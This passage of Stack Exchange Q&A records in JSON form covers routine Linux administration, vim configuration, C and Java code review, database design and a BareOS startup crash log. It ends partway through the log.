{  "id": "_unix.368202"  , "question": "I have a simple task that I can do with multiple lines but I wanted to run this through just 1 cron job as 1 line, and not have 12 separate lines. Here is the setup: Have one folder on an image processing share that gets images and moves them to 12 different folders depending on location and other things. Folder names are 1a, 2a, 3a, 4a, 5a, 6a, etc. to 12a. Folders 1a-6a need to go to a mounted drive on dr01 and folders 7a-12a need to go to a mounted folder named dr02. Each of the #a folders have a lot of subfolders and files inside. So, I want to rsync ../images/1a to ..DR01/1a twice a day. I can do this for each folder individually with: rsync -avh --remove-source-files /images/1a/ /usr/local/blah/dr02/1a/I wish that I could just sync the entire directory, but since half of the files are going to one share and the other half to another, I have to break them up. Is there a better way to do this without having to create 12 rsync jobs to sync each folder? Is there a way to group them in the rsync line or something like that? I used to use union-fs to fuse the DRs together, but that is no longer a working option. Thanks in advance for any tips that can help me resolve this issue. "  , "title": "Rsync multiple directories in one line"  , "tags": "rsync"  , "accepted_answer": "Something like this might work for you, assuming a shell that can expand {x..y} type constructs. (Test it from the command-line by prefixing the entire line with echo.)rsync -avh --remove-source-files /images/{1..6}a /mnt/dr01/rsync -avh --remove-source-files /images/{7..12}a /usr/local/blah/dr02/"  } 
{  "id": "_webapps.50183"  , "question": "A friend of mine who went on an exchange to Denmark asked me for help, because sometimes he just wants to see movies in Spanish, or at least with the subtitles in Spanish. But he said that every movie he sees has the subtitles in Danish and he cannot change the language. Is there any way to ask Netflix to change the language? Or at least to trick it to believe he is in a Spanish speaking country? As you know, using proxies would be unacceptably slow.So the questions would be: Is there a video-ready hide-my-ip software out there? Is there any other faster way to do this? Thanks in advance."  , "title": "Netflix forced language localisation"  , "tags": "localization;netflix"  , "accepted_answer": "Has he tried VPN like hide my ass: http://vpnverge.com/truths-about-hidemyass/ or DNS service like smartyDNS?"  } 
{  "id": "_unix.102575"  , "question": "I am using a motherboard based on this architecture.http://www.intel.com/content/www/us/en/intelligent-systems/navy-pier/embedded-intel-atom-n270-with-mobile-intel-945gse-express-chipset.htmlI need the linux driver for Intel 82801GB I/O Controller Hub (Intel ICH7). I find only windows drivers for this chipset. Any pointers would be useful.The actual issue I am facing is as described below.Issue:    Secondary hard disk failure leads to OS Stall..Motherboard :    Quanmax KEMX 2030Operating System: Debian 2.6.32-31Our Setup and Application Description: On the KEMX 2030 motherboard, we connect two HDDs each at SATA 0 and SATA 1. SATA 0 is connected to a HDD(primary) which is loaded with Debian Linux OS. SATA 1 is connected to a HDD(secondary) which does not have any OS but has data storage partitions. Our application runs on the primary HDD and we copy certain critical files from primary to secondary HDD periodically for backup purposes.Problem Description: A faulty secondary HDD results in primary HDD Operating system stalling and freezing. There are two cases that we have witnessed in our field deploymentsWhen the secondary HDD has developed bad sectors, whenever a file copy operation is performed from primary to secondary, the primary OS will start throwing DRDY UNC errors in its kernel log. UNC means uncorrectable sectors. The OS is not able to recover from this scenario and the whole system freezes and every application running on the primary HDD will become dead slow because the sata bus is choked.When the sata data cable to the secondary HDD is faulty or of low quality, the primary OS will start throwing DRDY ICRC errors in its kernel log. ICRC means CRC errors in the data transmission. Even in this case, the primary OS freezes.Question is that why should the primary OS freeze when the secondary HDD goes bad. Is it because the SATA bus is getting choked? We want the primary HDD not to be affected because of secondary HDD failures.In order to isolate the problem and we did the following test. With a regular PC motherboard, we connected the same primary and secondary(faulty) drive to simulate the case. On simulating, we found that the linux kernel detects the same DRDY UNC/ICRC errors and in a matter of about 2 minutes, it is able to make the secondary HDD as read only and prevents further damage. The primary OS does not get choked at all. This PC motherboard also had a similar SATA 0 and SATA 1 to which we connected the same HDDs. We could not understand how the PC motherboard handled the scenario better. This test proved that the OS is doing it job on the PC motherboard, but on the KEMX motherboard it does not. Quanmax architecture is as shown in the picture below . Do I need a specific I/O controller driver to address this issue?Further debugging it, we found that irrespective of we connecting the secondary hard disk on SATA 0 or SATA 1 port, linux is able to scan for the secondary hard disk only on SCSI /HOST 0 port. If we do a scan on SCSI/HOST 1, the secondary HDD is not getting detected. Does this mean, the SATA bus is multiplexed into SCSI HOST 0? On the contrary, in the case of regular PC motherboards, we noticed that the scan has to be performed on the respective SCSI/HOST port for the secondary HDD to be detected.Following is the lspci output on the Quanmax KEMX board.debian:~# lspci00:00.0 Host bridge: Intel Corporation Mobile 945GME Express Memory Controller Hub (rev 03)00:02.0 VGA compatible controller: Intel Corporation Mobile 945GME Express Integrated Graphics Controller (rev 03)00:02.1 Display controller: Intel Corporation Mobile 945GM/GMS/GME, 943/940GML Express Integrated Graphics Controller (rev 03)00:1b.0 Audio device: Intel Corporation N10/ICH 7 Family High Definition Audio Controller (rev 02)00:1c.0 PCI bridge: Intel Corporation N10/ICH 7 Family PCI Express Port 1 (rev 02)00:1d.0 USB Controller: Intel Corporation N10/ICH 7 Family USB UHCI Controller #1 (rev 02)00:1d.1 USB Controller: Intel Corporation N10/ICH 7 Family USB UHCI Controller #2 (rev 02)00:1d.2 USB Controller: Intel Corporation N10/ICH 7 Family USB UHCI Controller #3 (rev 02)00:1d.3 USB Controller: Intel Corporation N10/ICH 7 Family USB UHCI Controller #4 (rev 02)00:1d.7 USB Controller: Intel Corporation N10/ICH 7 Family USB2 EHCI Controller (rev 02)00:1e.0 PCI bridge: Intel Corporation 82801 Mobile PCI Bridge (rev e2)00:1f.0 ISA bridge: Intel Corporation 82801GBM (ICH7-M) LPC Interface Bridge (rev 02)00:1f.2 IDE interface: Intel Corporation 82801GBM/GHM (ICH7 Family) SATA IDE Controller (rev 02)00:1f.3 SMBus: Intel Corporation N10/ICH 7 Family SMBus Controller (rev 02)01:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168B PCI Express Gigabit Ethernet controller (rev 02)debian:~#Following is the lspci output on the regular PC motherboard.debian:~# lspci00:00.0 Host bridge: Intel Corporation 82G33/G31/P35/P31 Express DRAM Controller (rev 02)00:01.0 PCI bridge: Intel Corporation 82G33/G31/P35/P31 Express PCI Express Root Port (rev 02)00:02.0 VGA compatible controller: Intel Corporation 82G33/G31 Express Integrated Graphics Controller (rev 02)00:19.0 Ethernet controller: Intel Corporation 82562V-2 10/100 Network Connection (rev 02)00:1a.0 USB Controller: Intel Corporation 82801I (ICH9 Family) USB UHCI Controller #4 (rev 02)00:1a.1 USB Controller: Intel Corporation 82801I (ICH9 Family) USB UHCI Controller #5 (rev 02)00:1a.2 USB Controller: Intel Corporation 82801I (ICH9 Family) USB UHCI Controller #6 (rev 02)00:1a.7 USB Controller: Intel Corporation 82801I (ICH9 Family) USB2 EHCI Controller #2 (rev 02)00:1b.0 Audio device: Intel Corporation 82801I (ICH9 Family) HD Audio Controller (rev 02)00:1d.0 USB Controller: Intel Corporation 82801I (ICH9 Family) USB UHCI Controller #1 (rev 02)00:1d.1 USB Controller: Intel Corporation 82801I (ICH9 Family) USB UHCI Controller #2 (rev 02)00:1d.2 USB Controller: Intel Corporation 82801I (ICH9 Family) USB UHCI Controller #3 (rev 02)00:1d.7 USB Controller: Intel Corporation 82801I (ICH9 Family) USB2 EHCI Controller #1 (rev 02)00:1e.0 PCI bridge: Intel Corporation 82801 PCI Bridge (rev 92)00:1f.0 ISA bridge: Intel Corporation 82801IR (ICH9R) LPC Interface Controller (rev 02)00:1f.2 IDE interface: Intel Corporation 82801IR/IO/IH (ICH9R/DO/DH) 4 port SATA IDE Controller (rev 02)00:1f.3 SMBus: Intel Corporation 82801I (ICH9 Family) SMBus Controller (rev 02)00:1f.5 IDE interface: Intel Corporation 82801I (ICH9 Family) 2 port SATA IDE Controller (rev 02)The difference is that regular PC motherboard has ICH9 family and Quanmax KEMX has ICH7 family.Following is the kernel log which shows ata_piix version 2.13 is the driver which is being used. Does this version of the driver have a bug?2013 Nov 21 17:14:19::kernel::[    1.569271] ata_piix 0000:00:1f.2: version 2.132013 Nov 21 17:14:19::kernel::[    1.569315] ata_piix 0000:00:1f.2: PCI INT B -> GSI 19 (level, low) -> IRQ 192013 Nov 21 17:14:19::kernel::[    1.569405] ata_piix 0000:00:1f.2: MAP [ P0 P2 IDE IDE ]2013 Nov 21 17:14:19::kernel::[    1.569697] ata_piix 0000:00:1f.2: setting latency timer to 642013 Nov 21 17:14:19::kernel::[    1.576892] scsi0 : ata_piix2013 Nov 21 17:14:19::kernel::[    1.581480] scsi1 : ata_piix2013 Nov 21 17:14:19::kernel::[    1.584880] ata1: SATA max UDMA/133 cmd 0x1f0 ctl 0x3f6 bmdma 0xffa0 irq 142013 Nov 21 17:14:19::kernel::[    1.584952] ata2: PATA max UDMA/100 cmd 0x170 ctl 0x376 bmdma 0xffa8 irq 152013 Nov 21 17:14:19::kernel::[    1.756783] ata1.00: ATA-8: ST320LT012-9WS14C, 0001SDM1, max UDMA/1332013 Nov 21 17:14:19::kernel::[    1.756860] ata1.00: 625142448 sectors, multi 16: LBA48 NCQ (depth 0/32)2013 Nov 21 17:14:19::kernel::[    1.757445] ata1.01: ATA-8: ST320LT012-9WS14C, 0001SDM1, max UDMA/1332013 Nov 21 17:14:19::kernel::[    1.757517] ata1.01: 625142448 sectors, multi 16: LBA48 NCQ (depth 0/32)2013 Nov 21 17:14:19::kernel::[    1.772546] ata1.00: configured for UDMA/1332013 Nov 21 17:14:19::kernel::[    1.789555] ata1.01: configured for UDMA/1332013 Nov 21 17:14:19::kernel::[    1.789846] scsi 0:0:0:0: Direct-Access     ATA      ST320LT012-9WS14 0001 PQ: 0 ANSI: 52013 Nov 21 17:14:19::kernel::[    1.790422] scsi 0:0:1:0: Direct-Access     ATA      ST320LT012-9WS14 0001 PQ: 0 ANSI: 52013 Nov 21 17:14:19::kernel::[    1.814269] sd 0:0:0:0: [sda] 625142448 512-byte logical blocks: (320 GB/298 GiB)2013 Nov 21 17:14:19::kernel::[    1.814370] sd 0:0:0:0: [sda] 4096-byte physical blocks2013 Nov 21 17:14:19::kernel::[    1.814658] sd 0:0:1:0: [sdb] 625142448 512-byte logical blocks: (320 GB/298 GiB)2013 Nov 21 17:14:19::kernel::[    1.814755] sd 0:0:1:0: [sdb] 4096-byte physical blocks2013 Nov 21 17:14:19::kernel::[    1.814998] sd 0:0:0:0: [sda] Write Protect is off2013 Nov 21 17:14:19::kernel::[    1.815068] sd 0:0:0:0: [sda] Mode Sense: 00 3a 00 002013 Nov 21 17:14:19::kernel::[    1.815165] sd 0:0:0:0: [sda] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA2013 Nov 21 17:14:19::kernel::[    1.815268] sd 0:0:1:0: [sdb] Write Protect is off2013 Nov 21 17:14:19::kernel::[    1.815339] sd 0:0:1:0: [sdb] Mode Sense: 00 3a 00 002013 Nov 21 17:14:19::kernel::[    1.815452] sd 0:0:1:0: [sdb] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA2013 Nov 21 17:14:19::kernel::[    1.816076]  sda:2013 Nov 21 17:14:19::kernel::[    1.828670]  sdb: sda1 sda2 sda3 < sdb1 sdb2 < sda5 sdb5 sda6 >2013 Nov 21 17:14:19::kernel::[    1.921110]  sdb6 >2013 Nov 21 17:14:19::kernel::[    1.922236] sd 0:0:1:0: [sdb] Attached SCSI disk2013 Nov 21 17:14:19::kernel::[    1.922571] sd 0:0:0:0: [sda] Attached SCSI disk"  , "title": "Debian driver needed for Intel ICH7M SouthBridge I/O controller"  , "tags": "linux kernel;drivers;sata;libata"  } 
{  "id": "_codereview.140390"  , "question": "This header implements a very simple set of C (only) functions for logging.This is part of a larger collection of utility functions aimed to be used during the development process, meaning that they are intended to provide quick, easy to use solutions that could be replaced in the production code if needed.To ease with reading the code, I've removed the (rather verbose) comments with the documentation. You can find it in the README.md file here.Beside the printf()-like functions, there are a couple of functions that may be used for testing and debugging purpose.I'm very interested in any feedback you may have, especially in the area of usability.#ifndef UTL_H#define UTL_H#include <stdio.h>#include <stdlib.h>#include <stdint.h>#include <string.h>#include <stdarg.h>#include <stddef.h>#include <time.h>#include <ctype.h>#ifndef UTL_NOLOG#define logprintf(...)  utl_log_printf(__VA_ARGS__)#define logclose()      utl_log_close(LOG STOP)#define logopen(f,m)    utl_log_open(f,m)#ifndef NDEBUG          #define logcheck(e)     utl_log_check(!!(e),#e,__FILE__,__LINE__)#define logassert(e)    utl_log_assert(!!(e),#e,__FILE__,__LINE__)#define logdebug        logprintf#else                   #define logcheck(e)     utl_log_one()#define logassert(e)    ((void)0)#define logdebug(...)   ((void)0)#endif                  #define _logprintf(...) ((void)0)#define _logdebug(...)  ((void)0)#define _logcheck(...)  utl_log_one()#define _logassert(...) ((void)0)#define _logopen(f,m)   ((void)0)#define _logclose()     ((void)0)void utl_log_close(char *msg);void utl_log_open(char *fname, char *mode);int  utl_log_check(int res, char *test, char *file, int line);void utl_log_assert(int res, char *test, char *file, int line);void utl_log_printf(char *format, ...);int  utl_log_one(void);#ifdef UTL_MAINstatic FILE *utl_log_file = NULL;void utl_log_close(char *msg){  if (msg) logprintf(msg);  if (utl_log_file && utl_log_file != stderr) fclose(utl_log_file);  utl_log_file = NULL;}void utl_log_open(char *fname, char *mode){  char md[2];  md[0] = (mode && *mode == 'w')? 'w' : 'a'; md[1] = '\\0';  utl_log_close(NULL);  utl_log_file = fopen(fname,md);  logprintf(LOG START);}void utl_log_printf(char *format, ...){  va_list  args;  char     log_tstr[32];  time_t   log_time;  if (!utl_log_file) utl_log_file = stderr;  time(&log_time);  strftime(log_tstr,32,%Y-%m-%d %X,localtime(&log_time));  fprintf(utl_log_file,%s ,log_tstr);  va_start(args, format);  vfprintf(utl_log_file, format, args);  va_end(args);  fputc('\\n',utl_log_file);  fflush(utl_log_file);}int utl_log_check(int res, char *test, char *file, int line){  logprintf(CHK %s (%s) %s:%d, (res?PASS:FAIL), test, file, line);  return res;}void utl_log_assert(int res, char *test, char *file, int line){  if (!utl_log_check(res,test,file,line)) {    logprintf(CHK EXITING ON FAIL);    logclose();    exit(1);  }}int utl_log_one() {return 1;} /* to avoid warnings */#endif /* UTL_MAIN */#endif /* UTL_NOLOG */#endif /* UTL_H */"  , "title": "Simple logging library in C"  , "tags": "c;library;logging"  } 
{  "id": "_unix.101172"  , "question": "I'd like to put two strings in two different variables. Let's take a small example. after a simple grep, I got this :$ grep nl.*acc.*bas :ABAS01=...ABAS02=...I'd like to have two variables, one containing ABAS01, and the other containing ABAS02.How can I do this ? I guess a loop can be used to go through all the results from my query, then I could do a cut -d= -f1 to retrieve the name of the variables. How can I do this ? "  , "title": "Looping through commands' results, KSH script"  , "tags": "ksh;string"  , "accepted_answer": "If it's AT&T or zsh implementations of ksh:cmd | { IFS== read -r var1 x && IFS== read -r var2 x; }"  } 
{  "id": "_vi.6650"  , "question": "I have vim set to relative line numbering withset numberset relativenumberFor some reason, every now and then, for some unknown reason, relative line numbering seems to turn off (or is stuck to the top of the buffer) in particular splits (though still active in other splits). Does anyone have any idea why this might be happening? This is my full .vimrc as it currently standsexecute pathogen#infect()if has('unix')   set t_Co=256endif Vundle stuffset nocompatiblefiletype offset rtp+=~/.vim/bundle/Vundle.vimcall vundle#begin()Plugin 'VundleVim/Vundle.vim'call vundle#end()filetype plugin indent on Hard Mode Plugin autocmd VimEnter,BufNewFile,BufReadPost * silent! call HardMode() Other stuffset numberset noerrorbells    Turn off the annoying error soundsset relativenumber  Turn relative line numbering onset laststatus=2    Always keep the status line onset wildmenu        Create graphical menu when tab completing file paths Syntasticlet syntastic_always_populate_loc_list = 1let g:syntastic_auto_loc_list = 1let g:syntastic_check_on_open = 1let g:syntastic_check_on_wq = 0let g:syntastic_mode_map = { 'mode': 'passive', 'active_filetypes':   [],'passive_filetypes': [] }  Turn it off for nowSearchingset incsearch       Search as characters are enteredset ignorecase      Ignore case when searchingset smartcase       If a pattern contains an uppercase letter, it will match case sensitive, otherwise it will be case insensitive Setup foldingset foldenable          Turn folding onset foldlevelstart=1set foldmethod=syntax Backupsset nobackupset nowritebackup Visual elementsset cursorline      Creates a highlight on the line containing the cursor Set Colourscheme from the ./vim/color directorycolorscheme valloric Override colours in scheme set belowhighlight cursorline ctermbg=17 Ident guideslet g:indent_guides_auto_colors = 0let g:indent_guides_start_level = 2let g:indent_guides_guide_size = 1 let g:indent_guides_enable_on_vim_startup = 1highlight IndentGuidesEven ctermbg=22highlight IndentGuidesOdd ctermbg=28 Identing and tabsset autoindentset smartindentset tabstop=3      Number of visual spaces to visually display hard tabs withset softtabstop=3  Number of spaces inserted with the tab key if expandtab is onset shiftwidth=3set expandtab      Turn all presses of the tab key into spaces Keymapsmap = :set foldlevel+=1<CR>map - :set foldlevel-=1<CR> Swap filesset backupdir=~/.vim/backup//set directory=~/.vim/swap//set undodir=~/.vim/undo//"  , "title": "Why does relative line numbering sometimes turn off"  , "tags": "vimrc;line numbers"  } 
{  "id": "_unix.246587"  , "question": "Is there any way to assign ''linux core numbers'' to specific real cores?I'm working with an asymmetric architecture, so not all cores are the same, and I want to assign specific cores number to each core.Suppose my processor has 6 cores, two of them of type ARM-A57 and the other fours of type ARM-A53, and I want to map the cpu0, cpu1 (linux virtual cores) with the ARM-57 cores, and cpu2-cpu5 to the ARM-53 cores.At this moment, kernel 4.2.0 assigns cpu0, cpu3-cpu5 to ARM-53 cores, and cpu1-cpu2 to ARM-57 cores (no sense)."  , "title": "Assign virtual core number to specific real core"  , "tags": "linux;kernel;cpu;cpu frequency"  } 
{  "id": "_unix.365886"  , "question": "If I do /usr/bin/which --all git, it shows me all the occurrences of git in my $PATH, where the first line shows the effective one.From the below picture, the git version in /home/kmodi/stowed/bin/git is the effective one.Now I wanted to know the true file names of the results. So for /home/kmodi/stowed/bin/git, which is a symlink, I wanted to know what that pointed to.Doing /usr/bin/which --all git | xargs \\ls -Fpl shows the symlink reference. But the output is confusing.. the original order of listed files is not retained! So now looking at that output (below), one might think that the version in /cad/.. is the effective git binary path.Is there a way to make xargs retain that order?If it matters, I am using tcsh shell.Thanks to the tip from John about -n 1, I finally have a solution that I like. It is messy.. those quotes! (thanks to tcsh), but it works.alias whichall '/usr/bin/which --all \\!* \\\\                | xargs -n 1 \\ls -Fpl --color=always \\\\                | awk -v OFS= '''{$1=$2=$3=$4=$5=$6=$7=$8=; print $0}''' \\\\                | \\sed '''/^$/d'''; \\\\               'Now whichall git gives:"  , "title": "Is it possible for ls to maintain the order of its inputs"  , "tags": "ls;xargs"  , "accepted_answer": "The xargs command did maintain the order of it's arguments - but it passed all of them to one instance of ls, which gave you output in alphabetical order, which it does by default. To get the behavior you want, add a -n 1 argument to the xargs command to pass only one line of output to ls at a time, or if using the GNU implementation of ls, add a -U option to tell it not to sort the list of files.Behavior of ls:$ ls -lad /usr/bin /etcdrwxr-xr-x. 146 root root 12288 May 18 09:46 /etcdr-xr-xr-x.   2 root root 57344 Dec 12 15:30 /usr/bin"  } 
{  "id": "_softwareengineering.261714"  , "question": "IN view of creating a MIS (Management Information System) one architectural/design issue that's confronting us is managing allocation for set of employees.Scenario:Employees get allocated to projects and hence get their time (in full or part) for a duration is allocated to a specific task.How can this be represented in DB and Programing model?Example:Employee E1 is allocated to 2 projects P1 and P2P1 start date is: 10 Jan 2014 and End date is: 20 Mar 2014P2 start date is: 15 FEB 2014 and End date is: 1 MAY 2014.E1 gets allocated to P1 for 0.5 (50%) from 20 JAN to 20 FEB 2014 and then again gets allocated 0.75 (75%) from 1 MAR to 20 MAR 2014.Now let's consider a scenario where the same employee needs to get allocated 100% to project P2. Based on a DB model or programming model (say Java) I should be able to make the following interpretations:1> E1 is only available 50% for the time period 15 to 20 FEB 2014.2> E1 is available 100% for the time period 20 FEB to 1 MAR 2014.3> E1 is available 25% for the period 1 MAR to 20 MAR 2014.4> E1 is available 100% for the period 20 MAR to 1 MAY 2014.I am assuming I will have to maintain the allocation details for each employee in a DB and it's equivalent Java data structures. The problem is we are unable to come up with a structure/ER model that can accommodate such details.I am assuming similar problems are nothing new and open source/projects will already be there.Question:1> Can anyone please suggest approach for problem like this?2> is there any references/links you can provide that will help me a better design."  , "title": "Managing allocation calendars for an employee set"  , "tags": "design;database design;orm"  } 
{  "id": "_codereview.9077"  , "question": "I did this code for somebody but need it to be double checked before I pass it onto them. Code seems fine but I need someone to confirm I have coded the crossover methods correctly.Would be great if somebody that is familiar with genetic algorithms and crossover methods, could confirm that I have the correct logic and code behind each crossover method. //one crossover point is selected, string from beginning of chromosome to the  //crossover point is copied from one parent, the rest is copied from the second parent // One-point crossoverpublic void onePointCrossover(Individual indi) {    if (SGA.rand.nextDouble() < pc) {        // choose the crossover point         int xoverpoint = SGA.rand.nextInt(length);        int tmp;        for (int i=xoverpoint; i<length; i++){            tmp = chromosome[i];            chromosome[i] = indi.chromosome[i];            indi.chromosome[i] = tmp;        }       }   }//two crossover point are selected, binary string from beginning of chromosome to//the first crossover point is copied from one parent, the part from// the first to the second crossover point is copied from the second parent// and the rest is copied from the first parent// Two-point crossover    public void twoPointCrossover(Individual indi) {        if (SGA.rand.nextDouble() < pc) {            // choose the crossover point             int xoverpoint = SGA.rand.nextInt(length);            int xoverpoint2 = SGA.rand.nextInt(length);            int tmp;            //swap            if (xoverpoint > xoverpoint2){                tmp = xoverpoint;                xoverpoint = xoverpoint2;                xoverpoint2 = tmp;            }            for (int i=xoverpoint; i<xoverpoint2; i++){                tmp = chromosome[i];                chromosome[i] = indi.chromosome[i];                indi.chromosome[i] = tmp;            }           }       }    //  For each gene, createa random number in [0,1]. If    // the number is less than 0.5, swap the gene values in    // the parents for this gene; otherwise, no swapping // Uniform Crossover    public void UniformCrossover(Individual indi) {        if (SGA.rand.nextDouble() < pc) {        for (int i= 1; i<length; i++){            boolean tmp =  SGA.rand.nextFloat() < 0.5;            if(tmp){                chromosome[i] = indi.chromosome[i];            }            }        }Parent 1 = chromosome    Parent 2= indi.chromosomeI am turning the parents into children inplace."  , "title": "Confirm code is correct - crossover methods in Java"  , "tags": "java;algorithm"  } 
{  "id": "_unix.35059"  , "question": "I want to monitor CPU usage, disk read/write usage for a particular process, say ./myprocess.To monitor CPU top command seems to be a nice option and for read and write iotop seems to be a handy one. For example to monitor read/write for every second i use the command iotop -tbod1 | grep myprocess.My difficulty is I just want only three variables to store, namely read/sec, write/sec, cpu usage/sec. Could you help me with a script that combines the outputs the above said three variables from top and iotop to be stored into a log file?Thanks!"  , "title": "script for logging all the stats for a particular process"  , "tags": "shell script;centos;monitoring;cpu;io"  } 
{  "id": "_unix.373977"  , "question": "I have a BareOS director I'm trying to start on Debian 8, and when it starts up I get the following error:-- Logs begin at Wed 2017-06-28 16:36:57 UTC, end at Wed 2017-06-28 16:50:26 UTC. --Jun 28 16:44:40 bareOSdirector systemd[1]: Starting LSB: Bareos Director...Jun 28 16:44:41 bareOSdirector bareos-dir[9337]: Checking Configuration and Database connection ...Jun 28 16:44:41 bareOSdirector su[9340]: Successful su for bareos by rootJun 28 16:44:41 bareOSdirector su[9340]: + ??? root:bareosJun 28 16:44:41 bareOSdirector su[9340]: pam_unix(su:session): session opened for user bareos by (uid=0)Jun 28 16:44:41 bareOSdirector bareos-dir[9337]: BAREOS interrupted by signal 11: Segmentation violationJun 28 16:44:41 bareOSdirector bareos-dir[9342]: BAREOS interrupted by signal 11: Segmentation violationJun 28 16:44:41 bareOSdirector bareos-dir[9337]: Kaboom! bareos-dir, bareos-dir got signal 11 - Segmentation violation. Attempting traceback.Jun 28 16:44:41 bareOSdirector bareos-dir[9337]: Kaboom! exepath=/usr/sbin/Jun 28 16:44:41 bareOSdirector bareos-dir[9337]: Calling: /usr/sbin/btraceback /usr/sbin/bareos-dir 9342 /var/lib/bareosJun 28 16:44:41 bareOSdirector bareos-dir[9337]: It looks like the traceback worked...Jun 28 16:44:41 bareOSdirector bareos-dir[9337]: Dumping: /var/lib/bareos/bareos-dir.9342.bactraceJun 28 16:44:41 bareOSdirector su[9340]: pam_unix(su:session): session closed for user bareosJun 28 16:44:41 bareOSdirector systemd[1]: Started LSB: Bareos Director.It appears that it is related to the configuration in some way:Okay I found more details here:vagrant@bareOSdirector:~$  /usr/sbin/bareos-dir -t -d 200 -u bareos -g bareosbareos-dir (10): dird.c:243-0 Debug level = 200bareos-dir (100): parse_conf.c:151-0 config file = /etc/bareos/bareos-dir.confbareos-dir (100): lex.c:356-0 glob /etc/bareos/bareos-dir.conf: 1 filesbareos-dir (100): lex.c:250-0 open config file: /etc/bareos/bareos-dir.confbareos-dir (100): lex.c:250-0 open config file: |find /etc/bareos/director.d -name '*.conf' -type f -exec echo @{} ;bareos-dir (100): lex.c:356-0 glob /etc/bareos/director.d/pool-Scratch.conf: 1 filesbareos-dir (100): lex.c:250-0 open config file: /etc/bareos/director.d/pool-Scratch.confbareos-dir (100): lex.c:356-0 glob /etc/bareos/director.d/fileset-SelfTest.conf: 1 filesbareos-dir (100): lex.c:250-0 open config file: /etc/bareos/director.d/fileset-SelfTest.confbareos-dir (100): lex.c:356-0 glob /etc/bareos/director.d/messages-Daemon.conf: 1 filesbareos-dir (100): lex.c:250-0 open config file: /etc/bareos/director.d/messages-Daemon.confbareos-dir (100): lex.c:356-0 glob /etc/bareos/director.d/job-lampdir-fd-RestoreFiles.conf: 1 filesbareos-dir (100): lex.c:250-0 open config file: /etc/bareos/director.d/job-lampdir-fd-RestoreFiles.confbareos-dir (100): lex.c:356-0 glob /etc/bareos/director.d/fileset-Catalog.conf: 1 filesbareos-dir (100): lex.c:250-0 open config file: /etc/bareos/director.d/fileset-Catalog.confbareos-dir (100): lex.c:356-0 glob /etc/bareos/director.d/pool-Differential.conf: 1 filesbareos-dir (100): lex.c:250-0 open config file: /etc/bareos/director.d/pool-Differential.confbareos-dir (100): lex.c:356-0 glob /etc/bareos/director.d/fileset-bacula_files_backup.conf: 1 filesbareos-dir (100): lex.c:250-0 open config file: /etc/bareos/director.d/fileset-bacula_files_backup.confbareos-dir (100): lex.c:356-0 glob /etc/bareos/director.d/schedule-WeeklyCycle.conf: 1 filesbareos-dir (100): lex.c:250-0 open config file: /etc/bareos/director.d/schedule-WeeklyCycle.confbareos-dir (100): lex.c:356-0 glob /etc/bareos/director.d/storage-File.conf: 1 filesbareos-dir (100): lex.c:250-0 open config file: /etc/bareos/director.d/storage-File.confbareos-dir (100): lex.c:356-0 glob /etc/bareos/director.d/job-lampdir-fd-BaculaDirectorDirFiles.conf: 1 filesbareos-dir (100): lex.c:250-0 open config file: /etc/bareos/director.d/job-lampdir-fd-BaculaDirectorDirFiles.confbareos-dir (100): lex.c:356-0 glob /etc/bareos/director.d/pool-Full.conf: 1 filesbareos-dir (100): lex.c:250-0 open config file: /etc/bareos/director.d/pool-Full.confbareos-dir (100): lex.c:356-0 glob /etc/bareos/director.d/messages-standard.conf: 1 filesbareos-dir (100): lex.c:250-0 open config file: /etc/bareos/director.d/messages-standard.confbareos-dir (100): lex.c:356-0 glob /etc/bareos/director.d/fileset-LinuxAll.conf: 1 filesbareos-dir (100): lex.c:250-0 open config file: /etc/bareos/director.d/fileset-LinuxAll.confbareos-dir (100): lex.c:356-0 glob /etc/bareos/director.d/pool-Incremental.conf: 1 filesbareos-dir (100): lex.c:250-0 open config file: /etc/bareos/director.d/pool-Incremental.confbareos-dir (100): lex.c:356-0 glob /etc/bareos/director.d/catalog-MyCatalog.conf: 1 filesbareos-dir (100): lex.c:250-0 open config file: /etc/bareos/director.d/catalog-MyCatalog.confbareos-dir (100): lex.c:356-0 glob /etc/bareos/director.d/job-lampdir-fd-BackupCatalog.conf: 1 filesbareos-dir (100): lex.c:250-0 open config file: /etc/bareos/director.d/job-lampdir-fd-BackupCatalog.confbareos-dir (100): lex.c:250-0 open config file: |find /etc/bareos/clients.d -name '*.conf' -type f -exec echo @{} ;bareos-dir (100): lex.c:356-0 glob /etc/bareos/clients.d/lampdir-fd.conf: 1 filesbareos-dir (100): lex.c:250-0 open config file: /etc/bareos/clients.d/lampdir-fd.confbareos-dir (100): lex.c:356-0 glob /etc/bareos/bareos-dir.conf: 1 filesbareos-dir (100): lex.c:250-0 open config file: /etc/bareos/bareos-dir.confbareos-dir (100): lex.c:250-0 open config file: |find /etc/bareos/director.d -name '*.conf' -type f -exec echo @{} ;bareos-dir (100): lex.c:356-0 glob /etc/bareos/director.d/pool-Scratch.conf: 1 filesbareos-dir (100): lex.c:250-0 open config file: /etc/bareos/director.d/pool-Scratch.confbareos-dir (100): lex.c:356-0 glob /etc/bareos/director.d/fileset-SelfTest.conf: 1 filesbareos-dir (100): lex.c:250-0 open config file: /etc/bareos/director.d/fileset-SelfTest.confbareos-dir (100): lex.c:356-0 glob /etc/bareos/director.d/messages-Daemon.conf: 1 filesbareos-dir (100): lex.c:250-0 open config file: /etc/bareos/director.d/messages-Daemon.confbareos-dir (100): lex.c:356-0 glob /etc/bareos/director.d/job-lampdir-fd-RestoreFiles.conf: 1 filesbareos-dir (100): lex.c:250-0 open config file: /etc/bareos/director.d/job-lampdir-fd-RestoreFiles.confbareos-dir (100): lex.c:356-0 glob /etc/bareos/director.d/fileset-Catalog.conf: 1 filesbareos-dir (100): lex.c:250-0 open config file: /etc/bareos/director.d/fileset-Catalog.confbareos-dir (100): lex.c:356-0 glob /etc/bareos/director.d/pool-Differential.conf: 1 filesbareos-dir (100): lex.c:250-0 open config file: /etc/bareos/director.d/pool-Differential.confbareos-dir (100): lex.c:356-0 glob /etc/bareos/director.d/fileset-bacula_files_backup.conf: 1 filesbareos-dir (100): lex.c:250-0 open config file: /etc/bareos/director.d/fileset-bacula_files_backup.confbareos-dir (100): lex.c:356-0 glob /etc/bareos/director.d/schedule-WeeklyCycle.conf: 1 filesbareos-dir (100): lex.c:250-0 open config file: /etc/bareos/director.d/schedule-WeeklyCycle.confbareos-dir (100): lex.c:356-0 glob /etc/bareos/director.d/storage-File.conf: 1 filesbareos-dir (100): lex.c:250-0 open config file: /etc/bareos/director.d/storage-File.confbareos-dir (100): lex.c:356-0 glob 